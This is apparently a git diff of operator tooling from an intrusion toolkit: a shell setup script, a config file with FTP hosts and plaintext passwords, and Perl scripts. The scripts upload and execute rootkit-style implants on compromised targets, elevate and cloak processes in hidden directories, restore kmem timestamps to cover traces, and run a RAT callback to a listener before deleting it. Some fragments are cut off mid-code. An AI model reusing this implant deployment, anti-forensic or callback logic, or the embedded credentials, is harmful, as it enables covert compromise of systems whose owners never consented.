+ cd /current/bin + PS1="\t \h \w> " + export NHOME=/current + PATH=/usr/java/jre1.6.0_03/bin:/home/black/tmp/20120914-1311/bin:/usr/local/sbin:/usr/local/bin:/bin:/usr/bin:/sbin:/usr/sbin:/opt/ActivePerl-5.10/site/bin:/opt/ActivePerl-5.10/bin:/usr/src/firefox:/current/bin:/current/op2/bin:/current/op3/bin:/usr/X11R6/bin:/usr/games:/root/bin + export PS1 PATH; date; pwd; uname -a; netstat -rn ; ifconfig -a ; env | grep PATH +fi + +if [ ${SCRIPTME:-0} == 1 ]; then + export SCRIPTME=2 + cd /current/down + /usr/bin/script -af script.$$ +fi + diff --git a/Linux/etc/.oprc b/Linux/etc/.oprc new file mode 100644 index 0000000..221573c --- /dev/null +++ b/Linux/etc/.oprc @@ -0,0 +1,95 @@ + +# .oprc: Set FTP variables based on PATHNUM and ALT. +# Mon Nov 25 17:33:24 GMT 2013 +#VER=1.5.0.1 + + +# DEFAULTS +HOST=10.0.139.12 +USERNAME=anonymous +PASSWD=anonymous + +# PER HOST/USERNAME +HOST[1]=$HOST +HOST[2]=$HOST +HOST[3]=$HOST +HOST[4]=$HOST +HOST[5]=$HOST + +USERNAME[1]='imps' +USERNAME[2]='ds' +USERNAME[3]='slow' +USERNAME[4]='fast' +USERNAME[5]='emerg' + +PASSWD[1]='EECPEHJ2le#Zxd' +PASSWD[2]='MdZrqNi#k5iARE' +PASSWD[3]='zvtwVI#wOza3Ad' +PASSWD[4]='xnLZY#jL9yDotq' +PASSWD[5]='CBDEVC6Phh#JsW' + +# ALTERNATES, SET ALT= TO USE THESE +ALTHOST[1]=10.0.145.42 +ALTHOST[2]=10.0.145.33 +ALTHOST[3]=10.0.145.36 +ALTHOST[4]=10.0.145.35 +ALTHOST[5]=10.0.145.41 + +ALTUSERNAME[1]='imps' +ALTUSERNAME[2]='ds' +ALTUSERNAME[3]='slow' +ALTUSERNAME[4]='fast' +ALTUSERNAME[5]='emerg' + +ALTPASSWD[1]='5@ltw@tercrocodile' +ALTPASSWD[2]='H@mmerhe@d5h@rk' +ALTPASSWD[3]='51lver51def15h!' +ALTPASSWD[4]='Loggerhe@dturtle1' +ALTPASSWD[5]='Humpb@ckwh@le1' + +[ "$PATHNUM" ] || PATHNUM=0 +P=`echo "$PATHNUM" | tr -dc '0-9'` + + + +#FRESH* All trhee FRESH flows, FRESHSTEP, FRESHSTEP_TRACKER, and FRESHSCAN + #Fresh: Northern5e@hor5e + + +if [ "$PATHNUM" == "$P" -a "${HOST[P]}" ] ; then + HOST=${HOST[P]} + USERNAME=${USERNAME[P]} + PASSWD=${PASSWD[P]} +fi +if [ "$ALT" ] ; then + if [ "$PATHNUM" == "$P" -a "${ALTHOST[P]}" ] ; then + HOST=${ALTHOST[P]} + USERNAME=${ALTUSERNAME[P]} + PASSWD=${ALTPASSWD[P]} + fi +fi +if [ $PATHNUM -eq 0 -a "$WHICHPATH" = "ds" ] ; then + USERNAME=ds + PASSWD='8-6dsIt#' + DESTDIR=. +fi + + +if `echo "$0" | grep -q oprc$` ; then + # Added this to help in debugging, run as "bash .oprc" to see this + # output with various combinations of ALT and PATHNUM. + SHOW="xxxxxx"${PASSWD:6} + cat <$installdir/tar.$baseball.err` or + $targetball eq "NULL"; + progprint($COLOR_NORMAL."\n\n\n". + "Just unpacked in $installdir:\n\n". + `cd $installdir ; find . -name tar.$baseball.err -prune -o -type f -ls | sed "s/.* root //g"`. + "\n\ncat ./etc/VERSION\n". + `cat $installdir/etc/VERSION 2>/dev/null`); + $logsuccess = $logsuccessball if $logsuccessball; + $logfailure = $logfailureball if $logfailureball; + } + my @savepids = ($targetpid); + unless ($logonly) { + if ($targetppid > 1) { + my ($ans) = mygetinput + ("You are connected to a listener on port $targetport with pid $targetppid.\n\n". + "You must orphan yourself from that parent, which $prog will do\n". + "for you if you ontinue (i.e., it will kill your parent PID then start a\n". + "fresh listener).\n\n". + "How do you want to proceed (ORPHAN,ABORT)?", + "ORPHAN","A",ABORT,); + mydie("User aborted") if $ans eq "a"; + if ($ans eq "o") { + doit("kill -9 $targetppid", + "-listen $targetport",); + ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport) + = parsestatus("force"); + mydie("Parent PID ($targetppid) not 1 after killing parent.\n\n". + "Big Twinkie Bad here....") + unless ($targetppid eq $initpid); + sleep 2; +#ELSE WAS the CONTINUE case, now deprecated +# } else { +# push @savepids,$targetppid; + } + } + if ($solaristarget) { + my ($output) = myfiletimesave("/devices/pseudo/mm\@0:kmem"); + offerabort("OUTPUT=$output=\n". + "Something appears to be wrong. $prog just tried to save the\n". + "existing timestamps of /devices/pseudo/mm\@0:kmem with -ls -n,\n". + "but the myfiletimesave(\"/devices/pseudo/mm\@0:kmem\") call just\n". + "executed did not return the expected output. Abort and get help\n". + "unless you're directed to continue","A") + unless ($output); + my $incisiondir = "/platform/SUNW,SystemEngine"; + $incisiondir = "/platform/dvri86pc" + if $inteltarget; + # FOR TESTING, uncomment next two lines: + #doit("mkdir /var/tmp/kilroy;rmdir /var/tmp/kilroy"); + #$incisiondir = "/var/tmp/kilroy"; + my $parentdir = dirname($incisiondir); + my $regexp = basename($incisiondir); + ($output,$nopenlines,@output) + = doit("-strings $parentdir"); + if (grep /^$regexp$/ ,@output) { + offerabort + ("$COLOR_FAILURE\n\n". + "You must investigate this. The above -strings command matched\n". + "$incisiondir so we may have had INCISION on here once.\n". + "\n". + "You should only continue if you know it is safe to install over top\n". + "of whatever is there (say, perhaps, INCISION is gone and we know it is).", + "ABORT", + ); + } + } + } + + my $datefile = "$installdir/up/date"; + $ctrlfile = "$installdir/up/Stoicsurgeon-Ctrl"; + $ctrlfile = "" if $skipctrl; + mydie("$prog only knows how to handle tarballs with both\n\t". + "up/date and up/Stoicsurgeon-Ctrl in them") + unless ($tarball eq "NULL" or + (-f $datefile and (-e $ctrlfile or $skipctrl)) or + ($logsuccessball or $logfailureball)); + my $problems = ""; + unless ($deinstallonly) { + my $versionfile = "$installdir/etc/VERSION"; + my $slipperyscalpelconfigfile = "$installdir/etc/SLIPPERYSCALPEL.config"; + unless ($logonly) { + my ($output,$nopenlines,@output) = doit("=df"); + if (my @bad = grep m,^/*rpool.*\s+/$, , fixdf(@output)) { + offerabort + ($COLOR_FAILURE."\n\nTAKE NOTE!!!\n$COLOR_NOTE\n\n ". + join("\n ",@bad2)."\n$COLOR_NORMAL\n". + "The =df above contains \"rpool\" for the / partition. This usually\n". + "indicates that the target is using zfs. An install here would likely\n". + "SUCCEED, however you$COLOR_FAILURE MUST NOT$COLOR_NORMAL do so. Proceed here at\n". + "your own risk.","A"); + offerabort + ($COLOR_FAILURE."\n\nSERIOUSLY!!!\n$COLOR_NORMAL\n". + "Are you sure? If it goes bad, this will be your problem, not mine.","A"); + mywarn("OK. I suppose you think you know what you're doing.\n". + "I'm crossing my fingers for you!! Good luck.\n". + "Proceeding in 5..."); + sleep 5; + } + } + + # Old script put individual files per implant in ./up/. If + # we do not have the etc/VERSION file use that instead. + $versionfile = "$installdir/up/.*VERSION" unless -s $versionfile; + my ($installedtools,$nopenlines,@output) + = doit("-lsh cat $versionfile"); + my ($solaristoolversion, + $linuxtoolplatform, + $solaristoolplatform, + $freebsdtoolplatform, + $inteltoolplatform, + $sparctoolplatform, + $toolcomment,@comment, + $toolversion, + ) = (); + foreach (@output) { + next if /None vNone/; + s/\s/ /g; + if (-e "$installdir/etc/VERSION") { + ($tool,$toolplatform,$toolversion,@comment) = split; + } else { + ($tool,$toolversion,$toolplatform,@comment) = split; + } + $toolcomment = join(" ",@comment); + $linuxtoolplatform = $1 if + $toolplatform =~ /(\S*linux\S*)/i; + + # SOLARIS + $solaristoolplatform = $1 if + $toolplatform =~ /(\S*(sunos|solaris)\S*)/i; + if ($solaristoolplatform =~ /([\d\.]+)$/) { + $solaristoolversion = $1; + } + + # JUNOS + $junostoolplatform = $1 if + $toolplatform =~ /(\S*junos\S*)/i; + if ($junostoolplatform =~ /([\d\.]+)$/) { + $junostoolversion = $1; + } + + # FREEBSD + $freebsdtoolplatform = $1 if + $toolplatform =~ /(\S*(freebsd)\S*)/i; + if ($freebsdtoolplatform =~ /([\d\.]+)$/) { + $freebsdtoolversion = $1; + } + + # HARDWARE + $inteltoolplatform = $1 if + $toolplatform =~ /(\S*[i3456x]+86\S*)/; + $sparctoolplatform = $1 if + $toolplatform =~ /(\S*(sparc|sun4[umc])\S*)/; + + my $sure = 0; + $problems .= " Mismatch on: $tool $toolversion $toolplatform\n" + if (($linuxtarget and !$linuxtoolplatform) or + ($solaristarget and !$solaristoolplatform) or + ($freebsdtarget and !$freebsdtoolplatform) or + ($junostarget and !$junostoolplatform) or + ($inteltarget and !$inteltoolplatform) or + ($sparctarget and !$sparctoolplatform) or + ($freebsdtoolplatform and $freebsdtargetversion + and ($freebsdtargetversion !~ /$freebsdtoolversion/)) or + ($solaristoolversion and $solaristargetversion + and $solaristoolversion ne $solaristargetversion) or + ($junostoolversion and $junostargetversion + and $junostoolversion ne $junostargetversion) + ); + $toolversion =~ s/^v(ersion|\s)*//; + dbg("INSIDE:$_ + linuxtarget=$linuxtarget + solaristarget=$solaristarget solaristargetversion=$solaristargetversion + solaristoolversion=$solaristoolversion solaristargetversion=$solaristargetversion + inteltarget=$inteltarget + sparctarget=$sparctarget + linuxtoolplatform=$linuxtoolplatform + solaristoolplatform=$solaristoolplatform + inteltoolplatform=$inteltoolplatform + sparctoolplatform=$sparctoolplatform + + freebsdtarget=$freebsdtarget= + freebsdtoolplatform=$freebsdtoolplatform + freebsdtargetversion=$freebsdtargetversion + freebsdtoolversion=$freebsdtoolversion + + + problems=$problems== +"); + push @tools,$tool; + $toolindex[$tool] = scalar @tools - 1; + $toolindex["SLIPPERYSCALPEL"] = @tools - 1 + if ($tools[$i] =~ /SLIPPERYSCALPEL/i); + push @versions,$toolversion; + push @toolplatforms,$toolplatform; + push @comments,$toolcomment; + } + if (-f $slipperyscalpelconfigfile and + defined $comments[$toolindex["SLIPPERYSCALPEL"]]) { + my ($content) = doit("-lsh cat $slipperyscalpelconfigfile | sed \"s/^/\#/g\""); + chomp($content); + $content =~ s,[\r\n],::,g; + $content =~ s,[\#],: ,g; + $comments[$toolindex["SLIPPERYSCALPEL"]] .= " INSTALLED WITH CONFIG$content"; + } + } + dbg(" + linuxtarget=$linuxtarget + solaristarget=$solaristarget + inteltarget=$inteltarget + sparctarget=$sparctarget + linuxtoolplatform=$linuxtoolplatform + solaristoolplatform=$solaristoolplatform + inteltoolplatform=$inteltoolplatform + sparctoolplatform=$sparctoolplatform + problems=$problems= +"); + # TODO: Maybe take all non-stoic possibility out of here? + my $stoicinstall = "@tools" =~ /stoicsurgeon/i; + $stoicinstall++ if $deinstallonly; + if ($problems) { + my $more = "\n(OS version mismatch: $solaristoolversion ne $solaristargetversion)" + if $solaristoolversion ne $solaristargetversion; + offerabort + ($COLOR_FAILURE.$problems."\n\n". + "WE HAVE A PROBLEM HERE.\n$COLOR_NORMAL\n". + "Target OS: $nopen_serverinfo\n\n". + "Target OS does not match one or more tool platforms.\n\n". + "There appears to a conflict here.".$more, + "A" + ); + offerabort + ($COLOR_FAILURE."ARE YOU SURE?"); + } + + $remotename = "date" unless $remotename; + my $domore = " ; echo $?" unless $remotename eq "date"; + while (!$deinstallonly and !$logonly) { + my ($remoteexists,$nopenlines,@output) + = doit("-ls $workdir/$remotename"); + if ($remoteexists) { + my ($ans,$newname) = mygetinput + ("Remote file \"$remotename\" already exists. If you CONTINUE,\n". + "you will have to answer \"YES\" to overwrite that file,$COLOR_FAILURE\n". + "AND THAT FILE DOES NOT APPEAR TO BE OURS!\n$COLOR_NORMAL\n". + "If you enter some other name, $prog will try to use that.\n\n". + "Enter \"CONTINUE\" to continue with the name \"$remotename\", ". + "\"ABORT\" to abort, or\n". + "enter the new name to use: ", + "CONTINUE" + ); + mydie("User aborted") + if ($newname =~ /^a(bort){0,1}$/); + last if $newname eq "CONTINUE"; + $remotename = $newname; + } else { + last; + } + } + my ($hiddendir,$safehiddendir) = (); + my $morecheck = ""; + my $hiddenstr = ""; + unless ($logonly) { + my $solarismore = ""; + $solarismore = "and also save\nthe initial mtime/atimes of /devices/pseudo/mm\@0:kmem." + unless ($host_touchkmem or !$solaristarget); + + + + + offerabort + ("Looks like the target matches the tarball.\n\n". + "About to upload and execute $datefile$solarismore. Last chance to bail.") + unless $tarball eq "NULL" or $deinstallonly; + my ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size, + $atime,$mtime,$ctime,$blksize,$blocks) + = stat($datefile); + if ($stoicinstall) { + # If no previous use of stoic set this, we do so now from $installdir + unless($stoicctrlfile or $skipctrl) { +#dbg("Calling mystoicctrl(,$ctrlfile);"); + mystoicctrl(noprompt,$ctrlfile); + } + my ($priorhiddendir,$priorsafehiddendir,@prioroutput) = gethiddendir(force); + my $alreadyinstalled = ""; + @errs = (); + unless ($skipctrl) { + my @opts = ("-ACE$workdiropt"); + push(@opts,$seedopt) if $seedopt; + push(@opts,$dopause) if $dopause; + stoicctrl(@opts); + ($hiddendir,$safehiddendir,@output) = gethiddendir(); + $alreadyinstalled = !@errs; + } +dbg("hiddendir=$hiddendir= +priorhiddendir=$priorhiddendir="); + if ($skipctrl and $hiddendir) { + offerabort + ("You are skipping use of Ctrl entirely, yet there is already a hidden\n". + "directory. This means your install will proceed anyway, and if the hidden\n". + "directory there is a valid install, it will self-destruct as a side effect\n". + "of this install, destroying any contents in that hidden directory."); + } + if ($alreadyinstalled) { + if (!$hiddendir) { + my $usedto = "$COLOR_FAILURE (AND YOU USED TO!)" + if $priorhiddendir; + offerabort("This is odd. The above -E and -C Ctrl commands returned no error, (meaning\n". + "they worked) yet you do not have a hidden directory visible$usedto."); + } elsif (!$priorhiddendir) { + offerabort("OK, so it looks as if you were NOT priveleged until just now.\n". + "You should see the above -ls PRIOR to elevation (-E/-C) did NOT show\n". + "the hidden directory, and the one after does.\n\n". + "You can abort now (and figure things out) or\n". + "(if maybe you expected this) continue with the install. If you continue,\n". + "you will have options about what to do with the new install."); + } elsif ($priorhiddendir ne $hiddendir) { + gethiddendir(force,recurse); + offerabort("${COLOR_FAILURE}This is VERY odd$COLOR_NORMAL. You had two different hidden directories, before and after\n". + "the above -E/-C elevation. The above -E and -C Ctrl commands returned no error,\n". + "so they seemed to work, yet your hidden directory is now different???\n\n". + "See above recursive -ls of all possible hidden directories if that helps."); + } + # Other case, where $hiddendir AND priorhiddendir is fine unless they are not the same + } + my $dowhat = ""; + + #mydie("output=$output= alreadyinstalled=$alreadyinstalled="); + if ($alreadyinstalled) { + my ($prompt,$default) = + ("It seems STOICSURGEON is already there (\"-ctrl -EC\" above WORKED).\n\n". + "You have four options (you may answer just the first letter):\n\n". + " DEINSTALL: Use -ctrl -U to completely DEINSTALL previous STOIC.\n". + " This will wipe all content in the hidden dir also.\n". + " UNPATCH : Use -ctrl -n to invoke a partial uninstall (unpatch \n". + " and unload). This removes the software, leaving the hidden\n". + " directory to be re-used by the install to follow.\n". + " CONTINUE : Continue with the install without ANY uninstall of the previous\n". + " STOIC. The old stoic should detect the new one being installed\n". + " and self-destruct before allowing the new one to be installed.\n". + " ABORT : Abort and return to your NOPEN prompt\n\n". + "It is recommended that you DEINSTALL the previous copy first, your default\n". + "option. If proceeding with any install option, $prog will first preserve\n". + "this NOPEN window and any non-init parent pid from being killed by the\n". + "uninstall (using -ctrl -k).\n". + "\n". + "Your choices are DEINSTALL, UNPATCH, CONTINUE and ABORT. Choose:", + "DEINSTALL" + ); + ($prompt,$default) = + ("Confirmed previous installation of STOICSURGEON is still active.\n". + "Last chance to bail before DEINSTALL proceeds.". + "\n\nontinue or bort.","CONTINUE" + ) if $deinstallonly; + my ($ans,$myans) = mygetinput($prompt,$default); + my $elevateerr = ""; + if ($ans eq "a") { + rmctrl(force); + mymydie("User aborted"); + } + ($ans,$myans) = ("d","DEINSTALL") if $deinstallonly; +# dbg("myans=$myans"); + # TODO: If -ctrl fails, upload and use + # /current/install.##/up/Stoicsurgeon-Ctrl instead + stoicctrl("-Azk$workdiropt",$dopause,@savepids); + my $preuninstallhiddendir = $hiddendir; + mydie("-ctrk -k @savepids : FAILED") + if (@errs); +dbg("Before errs=(@errs) nonerrs=(@nonerrs)"); + if ($ans eq "d" or $ans eq "u") { + $dowhat = "DEINSTALL"; + if ($ans eq "d") { + # TODO: stoicctrl would default to a $workdir of the hiddendir, so if + # we did NOT have a $workdir before, we need it to be /tmp now, + # in which case we have to rmctrl. + stoicctrl("-AU$workdiropt",$dopause); +dbg("errs=(@errs) nonerrs=(@nonerrs) + +completeoutput=(\n".join("\n",@completeoutput)."\n) + +"); + } elsif ($ans eq "u") { + $dowhat = "UNPATCH"; + stoicctrl("-An$workdiropt",$dopause); + } +dbg("Now errs=(@errs) nonerrs=(@nonerrs)"); + if (@errs) { + offerabort("$dowhat appeared to fail."); + } +# ($hiddendir,$safehiddendir,@output) = gethiddendir(force); + # We just uninstalled, this is expected to fail + stoicctrl("-zE$workdiropt",$dopause,$targetpid); + $elevateerr = @errs; +# dbg("After -E $targetpid: +#errs=(@errs) +#completeoutput=(@completeoutput) +#elevateerr=$elevateerr= +#"); + $hiddenstr .= " hidden_dir=$hiddendir"; + ($output,$nopenlines,@output) + = doit("-ls $safehiddendir"); +# dbg("second time hiddendir=$hiddendir safehiddendir=$safehiddendir"); + my ($stillinstalled) = grep m,$preuninstallhiddendir, , @output; + unless ($elevateerr and !$stillinstalled) { + offerabort + ($COLOR_FAILURE. + "$dowhat appeared to fail" + #." yo elevateerr=$elevateerr= stillinstalled=$stillinstalled=" + ); + } else { + if ($deinstallonly) { + mydie("$dowhat appears successful. You are now UNCLOAKED/exposed."); + } + offerabort + ("$dowhat appeared successful.\n". + "About to upload and execute $datefile. Last chance to bail."); + } + } + } else { + mymydie("STOICSURGEON does not appear to be there") + if $deinstallonly; + } + } + rmctrl(force) unless $skipctrl; + ($output,$nopenlines,@output) + = doit("-put $datefile $workdir/$remotename"); + + mydie("\n\nUpload failed (wrong size or missing?), you have cleanup to do.") + unless ($output =~ m,-rwx------ .* $size .* $workdir/$remotename,); + + # ASSERT: $remotename is up there, executable and the right size. + + if ($dopause) { + doit("-ls $workdir/$remotename"); + offerabort("OK, here's the pause you asked for. Upload worked.\n\n". + "If you abort here, $remotename will$COLOR_FAILURE STILL BE UP THERE!!"); + } + doit("-cd $workdir") unless $targetcwd eq $workdir; + if ($dotpath) { + ($output,$nopenlines,@output) + = doit("PATH=.:\$PATH $remotename$domore"); + } else { + ($output,$nopenlines,@output) + = doit("PATH=. $remotename$domore"); +# ($output,$nopenlines,@output) +# = doit("$remotename$domore"); + } + # CD back unless we did not cd, or we came from hidden dir. + doit("-cdp") unless ($targetcwd eq $workdir or + $targetcwd =~ m,/\.[a-f0-9]{32}, or + $targetcwd =~ m,/\.tmp[A-Za-z0-9_-]{6},); + } + $success = "SUCCESSFUL"; + if ($logonly) { + $success = "FAILED" if $logfailure or $logfailureball; + } else { + ($errcode,$errstring) = $output =~ / \d\d:\d\d:(\d\d)/; +#dbg("Checking success with my (\$errcode,\$errstring) = \$output =~ / \d\d:\d\d:(\d\d)/; + +#output=$output= + +#output=(@output) + +#($errcode,$errstring) = $output =~ / \d\d:\d\d:(\d\d)/; +#"); + unless ($errcode eq "00") { + $success = "FAILED"; + + + + + my $stoicfile = "$opetc/user.tool.stoicsurgeon.COMMON"; + $stoicfile = "$opetc/user.tool.stoicsurgeon" + unless -e $stoicfile; + my %errstrings=(); + if (-e $stoicfile and open(STOIC,$stoicfile)) { + # This assumes TWO LINE entries in user.tool.stoicsurgeon.COMMON + # for all error codes, with a format matching + my @stoiclines = ; + close(STOIC); + my $lineone = ""; + while (@stoiclines) { + my $line = shift @stoiclines; + next unless ($line =~ /^[ \#]+([0-9]+)/); + my $num =int($1); + $line =~ s/^[ \#\s]*//; + if ($stoiclines[0] =~ /^\#\#\s*([A-Z].*)/) { + chomp($line); + $line .= shift(@stoiclines); + $line =~ s/\#*[ \t]+/ /g; + $line =~ s/\s+$//g; + $line =~ s/[ \t]+/ /g; + } + $errstrings{$num} = "\nTool Comments: FAILED: ERROR CODE $line"; +# $errstrings{$num} .= "Tool Comments:".; +# $errstrings{$num} =~ s/\#*[ \t]+/ /g; +# $errstrings{$num} =~ s/\s+$//g; +# $errstrings{$num} =~ s/[ \t]+/ /g; + dbg("Just set \$errstrings{$num}=$errstrings{$num}="); + } + last if (%errstrings and /^\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#/); + } + + if ($errstrings{int $errcode}) { + $errstring = $errstrings{int $errcode}; + } else { + $errstring = "UNKNOWN ERROR #: $errcode"; + } + } + } + for (my $i=0;$i<@tools;$i++) { + my ($what1,$what2) = ("DEPLOYED","Installed"); + ($what1,$what2) = ("EXERCISED","Exercised") + unless ($installtype eq "install"); + ($what1,$what2) = ("ACCESSD","Accessd") + if ($installtype eq "access"); + ($what1,$what2) = ("USED","Used") + if ($installtype eq "use"); + ($what1,$what2) = ("REMOVED","Removed") + if ($installtype eq "remove"); + $stoicinstall++ if $tools[$i] =~ /stoicsurgeon/i; + my $others = " @tools"; + $others =~ s/ $tools[$i]//; + my $toolcomment = ""; + $toolcomment = " $comments[$i]" + if (length $comments[$i]); + my ($content,$warning) = logtool( + "$tools[$i]", + "$versions[$i]", + "$success", + "$what1", + "$toolcomment $what2 with$others $errstring$hiddenstr", + ); + $allcontent .= $content; + $allwarning .= $warning; + } + progprint($COLOR_FAILURE. + "Finished.\n$progress\n$COLOR_NOTE\n". + "$prog just added these entries to\n". + "$hostfile:\n\n$COLOR_NORMAL".$allcontent. + "\n".$allwarning + ); + + ($output,$nopenlines,@output) + = doit("-ls $workdir/$remotename") unless $logonly; + if ($output and $success =~ /^successful/i) { + my ($ans) = offerabort + ("$COLOR_NORMAL\nPROPOSED HOSTINFO CONTENT:\n". + $newhostinfocontent."\n\n". + "$COLOR_FAILURE $output\n". + "$COLOR_NORMAL\n". + "The $remotename file still exists. This usually indicates failure,\n". + "but the output ending in :00 seemed to indicate success.\n\n". + "You can abort here and nothing will be logged to\n". + " $hostfile.\n". + "Or choose another option, which will log there:\n". + " 1) Change all statuses to \"Failed\"\n". + " C) Log it as successful anyway (really?)\n\n". + "Choose one, or", + "1","2" + ); + if ($ans eq "1") { + $newhostinfocontent =~ s/success\S+/FAILED/ig; + } + } + unless ($logonly) { + if ($stoicinstall) { + my ($elevatesuccess,$prompt,$more)=(); + if ($success =~ /^successful/i) { + my $solarismore = ""; + if ($solaristarget and $host_touchkmem) { + my ($output) = doit("-ls -n /devices/pseudo/mm\@0:kmem"); + $output =~ s,\s+, ,g; + my ($touchedback) = doit("$host_touchkmem /devices/pseudo/mm\@0:kmem") + unless ($output =~ /^$host_touchkmem/); + $solarismore = ", and the times for\n". + "/devices/pseudo/mm\@0:kmem have been manually touched back" + if ($touchedback); + } + if ($skipctrl) { + mygetinput + ("Install appears successful$solarismore!\n\n". + "You chose to SKIP all use of Ctrl, so this window has$COLOR_FAILURE NO WAY$COLOR_NORMAL\n". + "to elevate. If you trigger on in another window, it will be elevated. You should$COLOR_FAILURE\n". + "BE VERY CAREFUL$COLOR_NORMAL in this and any unelevated windows to NOT access the hidden\n". + "directory. If you do, STOIC will self-destruct.\n\n". + "Press Enter to continue." + ); + } else { + $prompt = "Install appears successful$solarismore!\n\n". + "You could try to elevate/cloak now, but the new default is not to.\n". + "Instead, a fresh trigger test will get both an elevated window and\n". + "test a trigger for you. Use THIS window, unelevated, for your \n". + "confirmation tests that the install behaves as expected.\n\n". + "Do you want to try to elevate/cloak now?"; + my ($ans) = mygetinput($prompt,"N"); + $elevatesuccess=1; + # On success, we set this new $ctrlfile as the right one for + # this box for remainder of op. + mystoicctrl(noprompt,$ctrlfile); + if ($ans =~ /^y/i) { + # dbg("PRIOR: errs=(@errs)"); + my $wdir = $workdiropt; + if (!$wdir or + $wdir =~ m,$priorhiddendir, or + ($hiddendir and $wdir =~ m,$hiddendir,) + ) { + # use a workdir of ./ it must be where the install just succeeded. + $wdir = "w."; + } + stoicctrl("-zEC$wdir",$dopause); + dbg("After stoicctrl(-zEC$workdiropt,$dopause); +#errs=(@errs) nonerrs=(@nonerrs) +#completeoutput=(@completeoutput) +#"); + if (@errs) { + mygetinput("PROBLEM HERE: That seemed to fail? Deal with it."); + $elevatesuccess--; + } + unless (!$dowhat or $newhiddendir eq $hiddendir) { + mywarn("NOTE: New hidden directory is different:\n". + " WAS: $hiddendir\n". + " NOW: $newhiddendir"); + ($hiddendir,$safehiddendir) = ($newhiddendir,$newsafehiddendir); + } + } else { + ($hiddendir,$safehiddendir,@output) = gethiddendir(force); + $elevatesuccess=0; + mygetinput($COLOR_FAILURE."\n\n". + "This window is NOT ELEVATED.\n\n". + "Use either a fresh trigger window (preferred) or -ctrl -CE\n". + "to get an elevated window and compare it to this one:\n\n". + " =ps\n". + " =nsg ESTAB\n". + " -ctrl -LR\n". + "\nHit Enter to continue..."); + } + } + my $moresuccess=""; + if ($elevatesuccess > 0) { + $moresuccess = "\n$COLOR_SUCCESS\nSUCCESS!$COLOR_NORMAL\nSUCCESS!\n\n". + "You (and parent, if any) should be fully priveleged/hidden."; + } +# dbg("success=$success="); + } + if ($success eq "FAILED") { + $output = "$COLOR_WARNING\nFAILED!$COLOR_FAILURE\nFAILED!$COLOR_WARNING\n". + "FAILED!$COLOR_FAILURE\nFAILED!\n\n". + "Install FAILED:\n". + $installedtools; + } else { + $output = "$moresuccess\n$COLOR_SUCCESS\nSUCCESS!$COLOR_NORMAL\nSUCCESS!\n\n". + "Install complete:\n". + $installedtools; + } + } + } else { + my $which = "most recent install"; + $which = "contents of this tarball" if $logfailureball or $logsuccessball; + $output = "Logged $which ($installdir) as: $success"; + } +# progprint($output); + rmctrl(force) unless $skipctrl; + return $output; +}#end sub handle + +sub mymydie { + rmctrl(force) unless $skipctrl; + mydie(@_); +} + + +sub myinit { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + + + ($installtype) = $0 =~ /auto(\S+)/; + + $prog = "-gs $installtype"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + $linuxtarget = $nopen_serverinfo =~ /linux/i + unless $linuxtarget; + + ($solaristarget,$junk,$solaristargetversion) + = $nopen_serverinfo =~ /((sunos|solaris)\s*([\d\.]*))/i; + # Use the 2.* nomenclature for solaris, to match + # what our tarball VERSION files use. + $solaristargetversion =~ s/^5/2/g; + + $inteltarget = $nopen_serverinfo =~ /[i3456x]+86/; + + ($sparctarget) = $nopen_serverinfo =~ /((sparc|sun4[umc])\S*)/; + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=install\" is used. + +"; + { $gsusagetext=<bort)?",my $thistime = shift @otherratnames); + mydie("User aborted") if (lc $longans eq "a" or lc $longans eq "abort"); + @otherratnames = ($thistime,@otherratnames) unless ($longans eq $thistime); + if ($longans =~ m,^\s*/,) { + mydie("Re-run with the -w option to use another path."); + } else { + $ratname = $longans; + next; + } + } + + # Copy the file out of /proc and verify that it arrived. + if ($cpcommand) { + doit("$cpcommand"); + ($output,$nopenlines,@output) = doit("-ls $dir/$ratname"); + unless ($output =~ /^.*\s+(\d+)\s\D.*\s($dir\/$ratname)/) { + mydie("RAT copy failed - bailing!"); + } + $ratcopied++; + } + } + + + unless ($ans eq "a") { + foreach $command (keys %command) { + ($result,$nopenlines,@output) = + doit("$command"); + if ($result =~ /(failed|not found)/i) { + $command = $commandextra; + offerabort + ($COLOR_FAILURE. + "POSSIBLE PROBLEM THERE, retrying without the /proc/*/fd part:\n$COLOR_NORMAL\n". + "About to run:\n". + " $cpcommand\n". + " $command\n". + "\n". + "Be sure the listener is ready at $callbackip on port $callbackport.". + $usepastable); + ($result,$nopenlines,@output) = + doit("$command"); + } + ($output) = doit("-ls $dir/$ratname") if ($ratcopied); + $ratcopied = "" unless $output; + } + ($ans) = mygetinput + ( + "". + "Callback$s initiated. You can etry callback$s again or inish", + "F","R","A", + ); + dbg("in autoaltcall, got answer = =$ans="); + $gotnewlistener = -1; + # Took out this abort. Don't want to not delete RAT. + if ($ans eq "a") { + mydie("ABORTING - don't forget to delete the RAT!"); + } + } + if ($ratcopied) { + if ($hpuxtarget) { + ($output,$nopenlines,@output) = doit("-ls $dir/$ratname"); + progprint("As expected on HPUX, $dir/$ratname STILL exists"); + } else { + my $saferm = dotdotpathforfile("$dir/$ratname"); + ($output,$nopenlines,@output) = doit("-rm $saferm"); + ($output,$nopenlines,@output) = doit("-ls $dir/$ratname"); + if ($output =~ /^.*\s+(\d+)\s\D.*\s($dir\/$ratname)/) { + mydie("$dir/$ratname STILL exists, with size $1") unless $hpuxtarget; + } + } + } +} + + +# End with true value as we may someday require this script elsewhere. +1; + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + # $calleddirect is set if + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs altcall @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs altcall" ; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts 